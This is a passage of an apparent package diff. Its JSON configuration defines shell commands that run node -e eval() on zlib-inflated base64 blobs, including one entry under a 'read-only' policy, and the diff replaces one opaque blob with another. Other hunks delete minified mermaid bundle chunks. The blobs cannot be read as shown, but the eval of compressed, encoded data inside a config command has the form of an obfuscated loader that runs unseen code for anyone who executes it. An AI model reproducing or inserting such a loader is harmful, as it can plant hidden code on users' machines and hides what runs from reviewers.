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','base64')).toString('utf8'))\""
|
|
197
197
|
],
|
|
198
198
|
"timeoutMs": 60000,
|
|
199
199
|
"cwd": "."
|
|
@@ -392,7 +392,7 @@
|
|
|
392
392
|
"writePolicy": "read-only",
|
|
393
393
|
"shell": {
|
|
394
394
|
"commands": [
|
|
395
|
-
"node -e \"eval(require('zlib').inflateRawSync(Buffer.from('
|
|
395
|
+
"node -e \"eval(require('zlib').inflateRawSync(Buffer.from('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','base64')).toString('utf8'))\""
|
|
396
396
|
],
|
|
397
397
|
"timeoutMs": 60000,
|
|
398
398
|
"cwd": "."
|
package/package.json
CHANGED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
import{ag as o,ah as n}from"./mermaid.core-F--C1uV0.js";const t=(a,r)=>o.lang.round(n.parse(a)[r]);export{t as c};
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
import{s as a,c as s,a as e,C as t}from"./chunk-GF5L2VYU-C3b22LN2.js";import{_ as i}from"./mermaid.core-F--C1uV0.js";import"./chunk-5VM5RSS4-Dh0ZKiGA.js";import"./chunk-XXDRQBXY-CfTwVOlc.js";import"./chunk-KBJHAD2P-BblTBrDu.js";import"./chunk-2GRJ4B5K-DtgiAsSc.js";import"./index-C8V8K9b4.js";var n={parser:e,get db(){return new t},renderer:s,styles:a,init:i(r=>{r.class||(r.class={}),r.class.arrowMarkerAbsolute=r.arrowMarkerAbsolute},"init")};export{n as diagram};
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
import{s as a,c as s,a as e,C as t}from"./chunk-GF5L2VYU-C3b22LN2.js";import{_ as i}from"./mermaid.core-F--C1uV0.js";import"./chunk-5VM5RSS4-Dh0ZKiGA.js";import"./chunk-XXDRQBXY-CfTwVOlc.js";import"./chunk-KBJHAD2P-BblTBrDu.js";import"./chunk-2GRJ4B5K-DtgiAsSc.js";import"./index-C8V8K9b4.js";var n={parser:e,get db(){return new t},renderer:s,styles:a,init:i(r=>{r.class||(r.class={}),r.class.arrowMarkerAbsolute=r.arrowMarkerAbsolute},"init")};export{n as diagram};
|